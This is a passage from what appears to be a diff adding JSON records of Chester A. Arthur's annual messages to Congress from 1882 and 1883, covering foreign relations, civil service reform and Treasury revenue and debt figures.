are\nin process of negotiation contain a provision deemed to be requisite under\nthe clause of the Constitution limiting to the House of Representatives the\nauthority to originate bills for raising revenue.On the 29th of February last I transmitted to the Congress the first annual\nreport of the Civil Service Commission, together with communications from\nthe heads of the several Executive Departments of the Government respecting\nthe practical workings of the law under which the Commission had been\nacting. The good results therein foreshadowed have been more than\nrealized.The system has fully answered the expectations of its friends in securing\ncompetent and faithful public servants and in protecting the appointing\nofficers of the Government from the pressure of personal importunity and\nfrom the labor of examining the claims and pretensions of rival candidates\nfor public employment.The law has had the unqualified support of the President and of the heads\nof the several Departments, and the members of the Commission have\nperformed their duties with zeal and fidelity. Their report will shortly be\nsubmitted, and will be accompanied by such recommendations for enlarging\nthe scope of the existing statute as shall commend themselves to the\nExecutive and the Commissioners charged with its administration.In view of the general and persistent demand throughout the commercial\ncommunity for a national bankrupt law, I hope that the differences of\nsentiment which have hitherto prevented its enactment may not outlast the\npresent session.The pestilence which for the past two years has been raging in the\ncountries of the East recently made its appearance in European ports with\nwhich we are in constant communication.The then Secretary of the Treasury, in pursuance of a proclamation of the\nPresident, issued certain regulations restricting and for a time\nprohibiting the importation of rags and the admission of baggage of\nimmigrants and of travelers arriving from infected quarters. Lest this\ncourse may have been without strict warrant of law, I approve the\nrecommendation of the present Secretary that the Congress take action in\nthe premises, and I also recommend the immediate adoption of such measures\nas will be likely to ward off the dreaded epidemic and to mitigate its\nseverity in case it shall unhappily extend to our shores.The annual report of the Commissioners of the District of Columbia reviews\nthe operations of the several departments of its municipal government. I\nask your careful consideration of its suggestions in respect to\nlegislation, especially commending such as relate to a revision of the\ncivil and criminal code, the performance of labor by persons sentenced to\nimprisonment in the jail, the construction and occupation of wharves along\nthe river front, and the erection of a suitable building for District\noffices.I recommend that in recognition of the eminent services of Ulysses S.\nGrant, late General of the armies of the United States and twice President\nof this nation, the Congress confer upon him a suitable pension.Certain of the measures that seem to me necessary and expedient I have now,\nin obedience to the Constitution, recommended for your adoption.As respects others of no less importance I shall content myself with\nrenewing the recommendations already made to the Congress, without\nrestating the grounds upon which such recommendations were based.The preservation of forests on the public domain, the granting of\nGovernment aid for popular education, the amendment of the Federal\nConstitution so as to make effective the disapproval by the President of\nparticular items in appropriation bills, the enactment of statutes in\nregard to the filling of vacancies in the Presidential office, and the\ndetermining of vexed questions respecting Presidential inability are\nmeasures which may justly receive your serious consideration.As the time draws nigh when I am to retire from the public service, I can\nnot refrain from expressing to the members of the National Legislature with\nwhom I have been brought into personal and official intercourse my sincere\nappreciation of their unfailing courtesy and of their harmonious\ncooperation with the Executive in so many measures calculated to promote\nthe best interests of the nation.And to my fellow-citizens generally I acknowledge a deep sense of\nobligation for the support which they have accorded me in my administration\nof the executive department of this Government.", 
+    "name": "Chester A. Arthur"
+}
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+{
+    "date": "December 4, 1882", 
+    "speech": "To the Senate and House of Representatives of the United States:It is provided by the Constitution that the President shall from time to\ntime give to the Congress information of the state of the Union and\nrecommend to their consideration such measures as he shall judge necessary\nand expedient.In reviewing the events of the year which has elapsed since the\ncommencement of your sessions, I first call your attention to the\ngratifying condition of our foreign affairs. Our intercourse with other\npowers has continued to be of the most friendly character.Such slight differences as have arisen during the year have been already\nsettled or are likely to reach an early adjustment. The arrest of citizens\nof the United States in Ireland under recent laws which owe their origin to\nthe disturbed condition of that country has led to a somewhat extended\ncorrespondence with the Government of Great Britain. A disposition to\nrespect our rights has been practically manifested by the release of the\narrested parties.The claim of this nation in regard to the supervision and control of any\ninteroceanic canal across the American Isthmus has continued to be the\nsubject of conference.It is likely that time will be more powerful than discussion in removing\nthe divergence between the two nations whose friendship is so closely\ncemented by the intimacy of their relations and the community of their\ninterests.Our long-established friendliness with Russia has remained unshaken. It has\nprompted me to proffer the earnest counsels of this Government that\nmeasures be adopted for suppressing the proscription which the Hebrew race\nin that country has lately suffered. It has not transpired that any\nAmerican citizen has been subjected to arrest or injury, but our courteous\nremonstrance has nevertheless been courteously received. There is reason to\nbelieve that the time is not far distant when Russia will be able to secure\ntoleration to all faiths within her borders.At an international convention held at Paris in 1880, and attended by\nrepresentatives of the United States, an agreement was reached in respect\nto the protection of trade-marks, patented articles, and the rights of\nmanufacturing firms and corporations. The formulating into treaties of the\nrecommendations thus adopted is receiving the attention which it merits.The protection of submarine cables is a subject now under consideration by\nan international conference at Paris. Believing that it is clearly the true\npolicy of this Government to favor the neutralization of this means of\nintercourse, I requested our minister to France to attend the convention as\na delegate. I also designated two of our eminent scientists to attend as\nour representatives at the meeting of an international committee at Paris\nfor considering the adoption of a common unit to measure electric force.In view of the frequent occurrence of conferences for the consideration of\nimportant matters of common interest to civilized nations, I respectfully\nsuggest that the Executive be invested by Congress with discretionary\npowers to send delegates to such conventions, and that provision be made to\ndefray the expenses incident thereto.The difference between the United States and Spain as to the effect of a\njudgment and certificate of naturalization has not yet been adjusted, but\nit is hoped and believed that negotiations now in progress will result in\nthe establishment of the position which seems to this Government so\nreasonable and just.I have already called the attention of Congress to the fact that in the\nports of Spain and its colonies onerous fines have lately been imposed upon\nvessels of the United States for trivial technical offenses against local\nregulations. Efforts for the abatement of these exactions have thus far\nproved unsuccessful.I regret to inform you also that the fees demanded by Spanish consuls in\nAmerican ports are in some cases so large, when compared with the value of\nthe cargo, as to amount in effect to a considerable export duty, and that\nour remonstrances in this regard have not as yet received the attention\nwhich they seem to deserve.The German Government has invited the United States to participate in an\ninternational exhibition of domestic cattle to be held at Hamburg in July,\n1883. If this country is to be represented, it is important that in the\nearly days of this session Congress should make a suitable appropriation\nfor that purpose.The death of Mr. Marsh, our late minister to Italy, has evoked from that\nGovernment expressions of profound respect for his exalted character and\nfor his honorable career in the diplomatic service of his country. The\nItalian Government has raised a question as to the propriety of recognizing\nin his dual capacity the representative of this country recently accredited\nboth as secretary of legation and as consul-general at Rome. He has been\nreceived as secretary, but his exequatur as consul-general has thus far\nbeen withheld.The extradition convention with Belgium, which has been in operation since\n1874, has been lately supplanted by another. The Senate has signified its\napproval, and ratifications have been duly exchanged between the\ncontracting countries. To the list of extraditable crimes has been added\nthat of the assassination or attempted assassination of the chief of the\nState.Negotiations have been opened with Switzerland looking to a settlement by\ntreaty of the question whether its citizens can renounce their allegiance\nand become citizens of the United States without obtaining the consent of\nthe Swiss Government.I am glad to inform you that the immigration of paupers and criminals from\ncertain of the Cantons of Switzerland has substantially ceased and is no\nlonger sanctioned by the authorities.The consideration of this subject prompts the suggestion that the act of\nAugust 3, 1882, which has for its object the return of foreign convicts to\ntheir own country, should be so modified as not to be open to the\ninterpretation that it affects the extradition of criminals on preferred\ncharges of crime.The Ottoman Porte has not yet assented to the interpretation which this\nGovernment has put upon the treaty of 1830 relative to its jurisdictional\nrights in Turkey. It may well be, however, that this difference will be\nadjusted by a general revision of the system of jurisdiction of the United\nStates in the countries of the East, a subject to which your attention has\nbeen already called by the Secretary of State.In the interest of justice toward China and Japan, I trust that the\nquestion of the return of the indemnity fund to the Governments of those\ncountries will reach at the present session the satisfactory solution which\nI have already recommended, and which has recently been foreshadowed by\nCongressional discussion.The treaty lately concluded with Korea awaits the action of the Senate.\nDuring the late disturbance in Egypt the timely presence of American\nvessels served as a protection to the persons and property of many of our\nown citizens and of citizens of other countries, whose governments have\nexpressed their thanks for this assistance.The recent legislation restricting immigration of laborers from China has\ngiven rise to the question whether Chinese proceeding to or from another\ncountry may lawfully pass through our own.Construing the act of May 6, 1882, in connection with the treaty of\nNovember 7, 1880, the restriction would seem to be limited to Chinese\nimmigrants coming to the United States as laborers, and would not forbid a\nmere transit across our territory. I ask the attention of Congress to the\nsubject, for such action, if any, as may be deemed advisable.This Government has recently had occasion to manifest its interest in the\nRepublic of Liberia by seeking to aid the amicable settlement of the\nboundary dispute now pending between that Republic and the British\npossession of Sierra Leone.The reciprocity treaty with Hawaii will become terminable after September\n9, 1883, on twelve months' notice by either party. While certain provisions\nof that compact may have proved onerous, its existence has fostered\ncommercial relations which it is important to preserve. I suggest,\ntherefore, that early consideration be given to such modifications of the\ntreaty as seem to be demanded by the interests of our people.In view of our increasing trade with both Hayti and Santo Domingo, I advise\nthat provision be made for diplomatic intercourse with the latter by\nenlarging the scope of the mission at Port au Prince.I regret that certain claims of American citizens against the Government of\nHayti have thus far been urged unavailingly.A recent agreement with Mexico provides for the crossing of the frontier by\nthe armed forces of either country in pursuit of hostile Indians. In my\nmessage of last year I called attention to the prevalent lawlessness upon\nthe borders and to the necessity of legislation for its suppression. I\nagain invite the attention of Congress to the subject.A partial relief from these mischiefs has been sought in a convention,\nwhich now awaits the approval of the Senate, as does also another touching\nthe establishment of the international boundary between the United States\nand Mexico. If the latter is ratified, the action of Congress will be\nrequired for establishing suitable commissions of survey. The boundary\ndispute between Mexico and Guatemala, which led this Government to proffer\nits friendly counsels to both parties, has been amicably settled.No change has occurred in our relations with Venezuela. I again invoke your\naction in the matter of the pending awards against that Republic, to which\nreference was made by a special message from the Executive at your last\nsession.An invitation has been received from the Government of Venezuela to send\nrepresentatives in July, 1883, to Caracas for participating in the\ncentennial celebration of the birth of Bolivar, the founder of South\nAmerican independence. In connection with this event it is designed to\ncommence the erection at Caracas of a statue of Washington and to conduct\nan industrial exhibition which will be open to American products. I\nrecommend that the United States be represented and that suitable provision\nbe made therefor.The elevation of the grade of our mission in Central America to the\nplenipotentiary rank, which was authorized by Congress at its late session,\nhas been since effected.The war between Peru and Bolivia on the one side and Chile on the other\nbegan more than three years ago. On the occupation by Chile in 1880 of all\nthe littoral territory of Bolivia, negotiations for peace were conducted\nunder the direction of the United States. The allies refused to concede any\nterritory, but Chile has since become master of the whole coast of both\ncountries and of the capital of Peru. A year since, as you have already\nbeen advised by correspondence transmitted to you in January last, this\nGovernment sent a special mission to the belligerent powers to express the\nhope that Chile would be disposed to accept a money indemnity for the\nexpenses of the war and to relinquish her demand for a portion of the\nterritory of her antagonist.This recommendation, which Chile declined to follow, this Government did\nnot assume to enforce; nor can it be enforced without resort to measures\nwhich would be in keeping neither with the temper of our people nor with\nthe spirit of our institutions.The power of Peru no longer extends over its whole territory, and in the\nevent of our interference to dictate peace would need to be supplemented by\nthe armies and navies of the United States. Such interference would almost\ninevitably lead to the establishment of a protectorate--a result utterly at\nodds with our past policy, injurious to our present interests, and full of\nembarrassments for the future.For effecting the termination of hostilities upon terms at once just to the\nvictorious nation and generous to its adversaries, this Government has\nspared no efforts save such as might involve the complications which I have\nindicated.It is greatly to be deplored that Chile seems resolved to exact such\nrigorous conditions of peace and indisposed to submit to arbitration the\nterms of an amicable settlement. No peace is likely to be lasting that is\nnot sufficiently equitable and just to command the approval of other\nnations.About a year since invitations were extended to the nations of this\ncontinent to send representatives to a peace congress to assemble at\nWashington in November, 1882. The time of meeting was fixed at a period\nthen remote, in the hope, as the invitation itself declared, that in the\nmeantime the disturbances between the South American Republics would be\nadjusted. As that expectation seemed unlikely to be realized, I asked in\nApril last for an expression of opinion from the two Houses of Congress as\nto the advisability of holding the proposed convention at the time\nappointed. This action was prompted in part by doubts which mature\nreflection had suggested whether the diplomatic usage and traditions of the\nGovernment did not make it fitting that the Executive should consult the\nrepresentatives of the people before pursuing a line of policy somewhat\nnovel in its character and far reaching in its possible consequences. In\nview of the fact that no action was taken by Congress in the premises and\nthat no provision had been made for necessary expenses, I subsequently\ndecided to postpone the convocation, and so notified the several\nGovernments which had been invited to attend.I am unwilling to dismiss this subject without assuring you of my support\nof any measures the wisdom of Congress may devise for the promotion of\npeace on this continent and throughout the world, and I trust that the time\nis nigh when, with the universal assent of civilized peoples, all\ninternational differences shall be determined without resort to arms by the\nbenignant processes of arbitration.Changes have occurred in the diplomatic representation of several foreign\npowers during the past year. New ministers from the Argentine Republic,\nAustria-Hungary, Brazil, Chile, China, France, Japan, Mexico, the\nNetherlands, and Russia have presented their credentials. The missions of\nDenmark and Venezuela at this capital have been raised in grade.\nSwitzerland has created a plenipotentiary mission to this Government, and\nan embassy from Madagascar and a minister from Siam will shortly arrive.Our diplomatic intercourse has been enlarged by the establishment of\nrelations with the new Kingdom of Servia, by the creation of a mission to\nSiam, and by the restoration of the mission to Greece. The Shah of Persia\nhas expressed his gratification that a charge d'affaires will shortly be\nsent to that country, where the rights of our citizens have been hitherto\ncourteously guarded by the representatives of Great Britain.I renew my recommendation of such legislation as will place the United\nStates in harmony with other maritime powers with respect to the\ninternational rules for the prevention of collisions at sea.In conformity with your joint resolution of the 3d of August last, I have\ndirected the Secretary of State to address foreign governments in respect\nto a proposed conference for considering the subject of the universal\nadoption of a common prime meridian to be used in the reckoning of\nlongitude and in the regulation of time throughout the civilized world.\nTheir replies will in due time be laid before you.An agreement was reached at Paris in 1875 between the principal powers for\nthe interchange of official publications through the medium of their\nrespective foreign departments.The admirable system which has been built up by the enterprise of the\nSmithsonian Institution affords a practical basis for our cooperation in\nthis scheme, and an arrangement has been effected by which that institution\nwill perform the necessary labor, under the direction of the Department of\nState. A reasonable compensation therefor should be provided by law.A clause in the act making appropriations for the diplomatic and consular\nservice contemplates the reorganization of both branches of such service on\na salaried basis, leaving fees to inure to the benefit of the Treasury. I\ncordially favor such a project, as likely to correct abuses in the present\nsystem. The Secretary of State will present to you at an early day a plan\nfor such reorganization.A full and interesting exhibit of the operations of the Treasury Department\nis afforded by the report of the Secretary.It appears that the ordinary revenues from all sources for the fiscal year\nended June 30, 1882, were as follows:From customs - $220,410,730.25From internal revenue - 146,497,595.45From sales of public lands - 4,753,140.37From tax on circulation and deposits of national banks - 8,956,794.45From repayment of interest by Pacific Railway companies - 840,554.37From sinking fund for Pacific Railway companies - 796,271.42From customs fees, fines, penalties, etc. - 1,343,348.00From fees--consular, letters patent, and lands - 2,638,990.97From proceeds of sales of Government property - 314,959.85From profits on coinage, bullion deposits, and assays - 4,116,693.73From Indian trust funds - 5,705,243.22From deposits by individuals for surveying public lands - 2,052,306.36From revenues of the District of Columbia - 1,715,176.41From miscellaneous sources - 3,383,445.43Total ordinary receipts - 403,525,250.28The ordinary expenditures for the same period were--For civil expenses - $18,042,386.42For foreign intercourse - 1,307,583.19For Indians - 9,736,747.40For pensions - 61,345,193.95For the military establishment, including river and harbor improvements,\nand arsenals - 43,570,494.19For the naval establishment, including vessels, machinery, and\nimprovements at navy-yards - 15,032,046.26For miscellaneous expenditures, including public buildings, light-houses,\nand collecting the revenue - 34,539,237.50For expenditures on account of the District of Columbia - 3,330,543.87For interest on the public debt - 71,077,206.79Total ordinary expenditures - 257,981,439.57Leaving a surplus revenue of $145,543,810.71, which, with an amount drawn\nfrom the cash balance in the Treasury of $20,737,694.84, making\n$166,281,505.55, was applied to the redemption--Of bonds for the sinking fund - $60,079,150.00Of fractional currency for the sinking fund - 58,705.55Of loan of July and August, 1861 - 62,572,050.00Of loan of March, 1863 - 4,472,900.00Of funded loan of 1881 - 37,194,450.00Of loan of 1858 - 303,000.00Of loan of February, 1861 - 1,000.00Of five-twenties of 1862 - 2,100.00Of five-twenties of 1864 - 7,400.00Of five-twenties of 1865 - 6,500.00Of ten-forties of 1864 - 254,550.00Of consols of 1865 - 86,450.00Of consols of 1867 - 408,250.00Of consols of 1868 - 141,400.00Of Oregon War debt - 675,250.00Of old demand, compound-interest, and other notes - 18,350.00 -", 
+    "name": "Chester A. Arthur"
+}
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+{
+    "date": "December 4, 1883", 
+    "speech": "To the Congress of the United States:At the threshold of your deliberations I congratulate you upon the\nfavorable aspect of the domestic and foreign affairs of this Government.Our relations with other countries continue to be upon a friendly footing.\nWith the Argentine Republic, Austria, Belgium, Brazil, Denmark, Hayti,\nItaly, Santo Domingo, and Sweden and Norway no incident has occurred which\ncalls for special comment. The recent opening of new lines of telegraphic\ncommunication with Central America and Brazil permitted the interchange of\nmessages of friendship with the Governments of those countries.During the year there have been perfected and proclaimed consular and\ncommercial treaties with Servia and a consular treaty with Roumania, thus\nextending our intercourse with the Danubian countries, while our Eastern\nrelations have been put upon a wider basis by treaties with Korea and\nMadagascar. The new boundary-survey treaty with Mexico, a trade-marks\nconvention and a supplementary treaty of extradition with Spain, and\nconventions extending the duration of the Franco-American Claims Commission\nhave also been proclaimed.Notice of the termination of the fisheries articles of the treaty of\nWashington was duly given to the British Government, and the reciprocal\nprivileges and exemptions of the treaty will accordingly cease on July 1,\n1885. The fisheries industries, pursued by a numerous class of our citizens\non the northern coasts, both of the Atlantic and Pacific oceans, are worthy\nof the fostering care of Congress. Whenever brought into competition with\nthe like industries of other countries, our fishermen, as well as our\nmanufacturers of fishing appliances and preparers of fish products, have\nmaintained a foremost place. I suggest that Congress create a commission to\nconsider the general question of our rights in the fisheries and the means\nof opening to our citizens, under just and enduring conditions, the richly\nstocked fishing waters and sealing grounds of British North America.Question has arisen touching the deportation to the United States from the\nBritish Islands, by governmental or municipal aid, of persons unable there\nto gain a living and equally a burden on the community here. Such of these\npersons as fall under the pauper class as defined by law have been sent\nback in accordance with the provisions of our statutes. Her Majesty's\nGovernment has insisted that precautions have been taken before shipment to\nprevent these objectionable visitors from coming hither without guaranty of\nsupport by their relatives in this country. The action of the British\nauthorities in applying measures for relief has, however, in so many cases\nproved ineffectual, and especially so in certain recent instances of needy\nemigrants reaching our territory through Canada, that a revision of our\nlegislation upon this subject may be deemed advisable.Correspondence relative to the Clayton-Bulwer treaty has been continued and\nwill be laid before Congress.The legislation of France against the importation of prepared swine\nproducts from the United States has been repealed. That result is due no\nless to the friendly representations of this Government than to a growing\nconviction in France that the restriction was not demanded by any real\ndanger to health.Germany still prohibits the introduction of all swine products from\nAmerica. I extended to the Imperial Government a friendly invitation to\nsend experts to the United States to inquire whether the use of those\nproducts was dangerous to health. This invitation was declined. I have\nbelieved it of such importance, however, that the exact facts should be\nascertained and promulgated that I have appointed a competent commission to\nmake a thorough investigation of the subject. Its members have shown their\npublic spirit by accepting their trust without pledge of compensation, but\nI trust that Congress will see in the national and international bearings\nof the matter a sufficient motive for providing at least for reimbursement\nof such expenses as they may necessarily incur.The coronation of the Czar at Moscow afforded to this Government an\noccasion for testifying its continued friendship by sending a special envoy\nand a representative of the Navy to attend the ceremony.While there have arisen during the year no grave questions affecting the\nstatus in the Russian Empire of American citizens of other faith than that\nheld by the national church, this Government remains firm in its conviction\nthat the rights of its citizens abroad should be in no wise affected by\ntheir religious belief.It is understood that measures for the removal of the restrictions which\nnow burden our trade with Cuba and Puerto Rico are under consideration by\nthe Spanish Government.The proximity of Cuba to the United States and the peculiar methods of\nadministration which there prevail necessitate constant discussion and\nappeal on our part from the proceedings of the insular authorities. I\nregret to say that the just protests of this Government have not as yet\nproduced satisfactory results.The commission appointed to decide certain claims of our citizens against\nthe Spanish Government, after the recognition of a satisfactory rule as to\nthe validity and force of naturalization in the United States, has finally\nadjourned. Some of its awards, though made more than two years ago, have\nnot yet been paid. Their speedy payment is expected.Claims to a large amount which were held by the late commission to be\nwithout its jurisdiction have been diplomatically presented to the Spanish\nGovernment. As the action of the colonial authorities which has given rise\nto these claims was admittedly illegal, full reparation for the injury\nsustained by our citizens should be no longer delayed.The case of the Masonic has not yet reached a settlement. Manila court has\nfound that the proceedings of which this Government has complained were\nunauthorized, and it is hoped that the Government of Spain will not\nwithhold the speedy reparation which its sense of justice should impel it\nto offer for the unusual severity and unjust action of its subordinate\ncolonial officers in the case of this vessel.The Helvetian Confederation has proposed the inauguration of a class of\ninternational treaties for the referment to arbitration of grave questions\nbetween nations. This Government has assented to the proposed negotiation\nof such a treaty with Switzerland.Under the treaty of Berlin liberty of conscience and civil rights are\nassured to all strangers in Bulgaria. As the United States have no distinct\nconventional relations with that country and are not a party to the treaty,\nthey should, in my opinion, maintain diplomatic representation at Sofia for\nthe improvement of intercourse and the proper protection of the many\nAmerican citizens who resort to that country as missionaries and teachers.\nI suggest that I be given authority to establish an agency and\nconsulate-general at the Bulgarian capital.The United States are now participating in a revision of the tariffs of the\nOttoman Empire. They have assented to the application of a license tax to\nforeigners doing business in Turkey, but have opposed the oppressive\nstorage tax upon petroleum entering the ports of that country.The Government of the Khedive has proposed that the authority of the mixed\njudicial tribunals in Egypt be extended so as to cover citizens of the\nUnited States accused of crime, who are now triable before consular courts.\nThis Government is not indisposed to accept the change, but believes that\nits terms should be submitted for criticism to the commission appointed to\nrevise the whole subject.At no time in our national history has there been more manifest need of\nclose and lasting relations with a neighboring state than now exists with\nrespect to Mexico. The rapid influx of our capital and enterprise into that\ncountry shows, by what has already been accomplished, the vast reciprocal\nadvantages which must attend the progress of its internal development. The\ntreaty of commerce and navigation of 1848 has been terminated by the\nMexican Government, and in the absence of conventional engagements the\nrights of our citizens in Mexico now depend upon the domestic statutes of\nthat Republic. There have been instances of harsh enforcement of the laws\nagainst our vessels and citizens in Mexico and of denial of the diplomatic\nresort for their protection. The initial step toward a better understanding\nhas been taken in the negotiation by the commission authorized by Congress\nof a treaty which is still before the Senate awaiting its approval.The provisions for the reciprocal crossing of the frontier by the troops in\npursuit of hostile Indians have been prolonged for another year. The\noperations of the forces of both Governments against these savages have\nbeen successful, and several of their most dangerous bands have been\ncaptured or dispersed by the skill and valor of United States and Mexican\nsoldiers fighting in a common cause.The convention for the resurvey of the boundary from the Rio Grande to the\nPacific having been ratified and exchanged, the preliminary reconnoissance\ntherein stipulated has been effected. It now rests with Congress to make\nprovision for completing the survey and relocating the boundary monuments.A convention was signed with Mexico on July 13, 1882, providing for the\nrehearing of the cases of Benjamin Well and the Abra Silver Mining Company,\nin whose favor awards were made by the late American and Mexican Claims\nCommission. That convention still awaits the consent of the Senate.\nMeanwhile, because of those charges of fraudulent awards which have made a\nnew commission necessary, the Executive has directed the suspension of\npayments of the distributive quota received from Mexico.Our geographical proximity to Central America and our political and\ncommercial relations with the States of that country justify, in my\njudgment, such a material increase of our consular corps as will place at\neach capital a consul-general.The contest between Bolivia, Chile, and Peru has passed from the stage of\nstrategic hostilities to that of negotiation, in which the counsels of this\nGovernment have been exercised. The demands of Chile for absolute cession\nof territory have been maintained and accepted by the party of General\nIglesias to the extent of concluding a treaty of peace with the Government\nof Chile in general conformity with the terms of the protocol signed in May\nlast between the Chilean commander and General Iglesias. As a result of the\nconclusion of this treaty General Iglesias has been formally recognized by\nChile as President of Peru and his government installed at Lima, which has\nbeen evacuated by the Chileans. A call has been issued by General Iglesias\nfor a representative assembly, to be elected on the 13th of January, and to\nmeet at Lima on the 1st of March next. Meanwhile the provisional government\nof General Iglesias has applied for recognition to the principal powers of\nAmerica and Europe. When the will of the Peruvian people shall be\nmanifested, I shall not hesitate to recognize the government approved by\nthem.Diplomatic and naval representatives of this Government attended at Caracas\nthe centennial celebration of the birth of the illustrious Bolivar. At the\nsame time the inauguration of the statue of Washington in the Venezuelan\ncapital testified to the veneration in which his memory is there held.Congress at its last session authorized the Executive to propose to\nVenezuela a reopening of the awards of the mixed commission of Caracas. The\ndeparture from this country of the Venezuelan minister has delayed the\nopening of negotiations for reviving the commission. This Government holds\nthat until the establishment of a treaty upon this subject the Venezuelan\nGovernment must continue to make the payments provided for in the\nconvention of 1866.There is ground for believing that the dispute growing out of the unpaid\nobligations due from Venezuela to France will be satisfactorily adjusted.\nThe French cabinet has proposed a basis of settlement which meets my\napproval, but as it involves a recasting of the annual quotas of the\nforeign debt it has been deemed advisable to submit the proposal to the\njudgment of the cabinets of Berlin, Copenhagen, The Hague, London, and\nMadrid.At the recent coronation of His Majesty King Kalakaua this Government was\nrepresented both diplomatically and by the formal visit of a vessel of\nwar.The question of terminating or modifying the existing reciprocity treaty\nwith Hawaii is now before Congress. I am convinced that the charges of\nabuses and frauds under that treaty have been exaggerated, and I renew the\nsuggestion of last year's message that the treaty be modified wherever its\nprovisions have proved onerous to legitimate trade between the two\ncountries. I am not disposed to favor the entire cessation of the treaty\nrelations which have fostered good will between the countries and\ncontributed toward the equality of Hawaii in the family of nations.In pursuance of the policy declared by this Government of extending our\nintercourse with the Eastern nations, legations have during the past year\nbeen established in Persia, Siam, and Korea. It is probable that permanent\nmissions of those countries will ere long be maintained in the United\nStates. A special embassy from Siam is now on its way hither.Treaty relations with Korea were perfected by the exchange at Seoul, on the\n19th of May last, of the ratifications of the lately concluded convention,\nand envoys from the King of Chosen have visited this country and\nreceived a cordial welcome. Korea, as yet unacquainted with the methods of\nWestern civilization, now invites the attention of those interested in the\nadvancement of our foreign trade, as it needs the implements and products\nwhich the United States are ready to supply. We seek no monopoly of its\ncommerce and no advantages over other nations, but as the Chosenese, in\nreaching for a higher civilization, have confided in this Republic, we can\nnot regard with indifference any encroachment on their rights.China, by the payment of a money indemnity, has settled certain of the\nlong-pending claims of our citizens, and I have strong hopes that the\nremainder will soon be adjusted.Questions have arisen touching the rights of American and other foreign\nmanufacturers in China under the provisions of treaties which permit aliens\nto exercise their industries in that country. On this specific point our\nown treaty is silent, but under the operation of the most-favored-nation\nclause we have like privileges with those of other powers. While it is the\nduty of the Government to see that our citizens have the full enjoyment of\nevery benefit secured by treaty, I doubt the expediency of leading in a\nmovement to constrain China to admit an interpretation which we have only\nan indirect treaty right to exact. The transference to China of American\ncapital for the employment there of Chinese labor would in effect\ninaugurate a competition for the control of markets now supplied by our\nhome industries.There is good reason to believe that the law restricting the immigration of\nChinese has been violated, intentionally or otherwise, by the officials of\nChina upon whom is devolved the duty of certifying that the immigrants\nbelong to the excepted classes.Measures have been taken to ascertain the facts incident to this supposed\ninfraction, and it is believed that the Government of China will cooperate\nwith the United States in securing the faithful observance of the law.The same considerations which prompted Congress at its last session to\nreturn to Japan the Simonoseki indemnity seem to me to require at its hands\nlike action in respect to the Canton indemnity fund, now amounting to\n$300,000.The question of the general revision of the foreign treaties of Japan has\nbeen considered in an international conference held at Tokyo, but without\ndefinite result as yet. This Government is disposed to concede the requests\nof Japan to determine its own tariff duties, to provide such proper\njudicial tribunals as may commend themselves to the Western powers for the\ntrial of causes to which foreigners are parties, and to assimilate the\nterms and duration of its treaties to those of other civilized states.Through our ministers at London and at Monrovia this Government has\nendeavored to aid Liberia in its differences with Great Britain touching\nthe northwestern boundary of that Republic. There is a prospect of\nadjustment of the dispute by the adoption of the Mannah River as the line.\nThis arrangement is a compromise of the conflicting territorial claims and\ntakes from Liberia no country over which it has maintained effective\njurisdiction.The rich and populous valley of the Kongo is being opened to commerce by a\nsociety called the International African Association, of which the King of\nthe Belgians is the president and a citizen of the United States the chief\nexecutive officer. Large tracts of territory have been ceded to the\nassociation by native chiefs, roads have been opened, steamboats placed on\nthe river, and the nuclei of states established at twenty-two stations\nunder one flag which offers freedom to commerce and prohibits the slave\ntrade. The objects of the society are philanthropic. It does not aim at\npermanent political control, but seeks the neutrality of the valley. The\nUnited States can not be indifferent to this work nor to the interests of\ntheir citizens involved in it. It may become advisable for us to cooperate\nwith other commercial powers in promoting the rights of trade and residence\nin the Kongo Valley free from the interference or political control of any\none nation.In view of the frequency of invitations from foreign governments to\nparticipate in social and scientific congresses for the discussion of\nimportant matters of general concern, I repeat the suggestion of my last\nmessage that provision be made for the exercise of discretionary power by\nthe Executive in appointing delegates to such convocations. Able\nspecialists are ready to serve the national interests in such capacity\nwithout personal profit or other compensation than the defrayment of\nexpenses actually incurred, and this a comparatively small annual\nappropriation would suffice to meet.I have alluded in my previous messages to the injurious and vexatious\nrestrictions suffered by our trade in the Spanish West Indies. Brazil,\nwhose natural outlet for its great national staple, coffee, is in and\nthrough the United States, imposes a heavy export duty upon that product.\nOur petroleum exports are hampered in Turkey and in other Eastern ports by\nrestrictions as to storage and by onerous taxation. For these mischiefs\nadequate relief is not always afforded by reciprocity treaties like that\nwith Hawaii or that lately negotiated with Mexico and now awaiting the\naction of the Senate. Is it not advisable to provide some measure of\nequitable retaliation in our relations with governments which discriminate\nagainst our own? If, for example, the Executive were empowered to apply to\nSpanish vessels and cargoes from Cuba and Puerto Rico the same rules of\ntreatment and scale of penalties for technical faults which are applied to\nour vessels and cargoes in the Antilles, a resort to that course might not\nbe barren of good results.The report of the Secretary of the Treasury gives a full and interesting\nexhibit of the financial condition of the country.It shows that the ordinary revenues from all sources for the fiscal year\nended June 30, 1883, amounted to $398,287,581.95, whereof there was\nreceived--From customs - $214,706,496.93From internal revenue - 144,720,368.98From sales of public lands - 7,955,864.42From tax on circulation and deposits of national banks - 9,111,008.85From profits on coinage, bullion deposits, and assays - 4,460,205.17From other sources - 17,333,637.60Total - 398,287,581.95For the same period the ordinary expenditures were:For civil expenses - $22,343,285.76For foreign intercourse - 2,419,275.24For Indians - 7,362,590.34For Pensions - 66,012,573.64For the military establishment, including river and harbor\nimprovements and arsenals - 48,911,382.93For the naval establishment, including vessels, machinery,\nand improvements at navy-yards - 15,283,437.17For miscellaneous expenditures, including public buildings,\nlight-houses, and collecting the revenue - 40,098,432.73For expenditures on account of the District of Columbia - 3,817,028.48For interest on the public debt - 59,160,131.25Total - 265,408,137.54Leaving a surplus revenue of $132,879,444.41, which, with an amount drawn\nfrom the cash balance in the Treasury of $1,299,312.55, making\n$134,178,756.96, was applied to the redemption--Of bonds for the sinking fund - $44,850,700.00Of fractional currency for the sinking fund - 46,556.96Of funded loan of 1881, continued at 3 1\\2 per cent - 65,380,250.00Of loan of July and August, 1861, continued at 3 1/2 per cent -\n20,594,600.00Of funded loan of 1907 - 1,418,850.00Of funded loan of 1881 - 719,150.00Of loan of February, 1861 - 18,000.00Of loan of July and August, 1861 - 266,600.00Of loan of March, 1863 - 116,850.00Of loan of July, 1882 - 47,650.00Of five-twenties of 1862 - 10,300.00Of five-twenties of 1864 - 7,050.00Of five-twenties of 1865 - 9,600.00Of ten-forties of 1864 - 133,550.00Of consols of 1865 - 40,800.00Of consols of 1867 - 235,700.00Of consols of 1868 - 154,650.00Of Oregon War debt - 5,450.00Of refunding certificates - 109,150.00Of old demand, compound-interest and other notes - 13,300.00Total - 134,178,756.96The revenue for the present fiscal year, actual and estimated, is as\nfollows:Source - For the quarter ended September 30, 1883 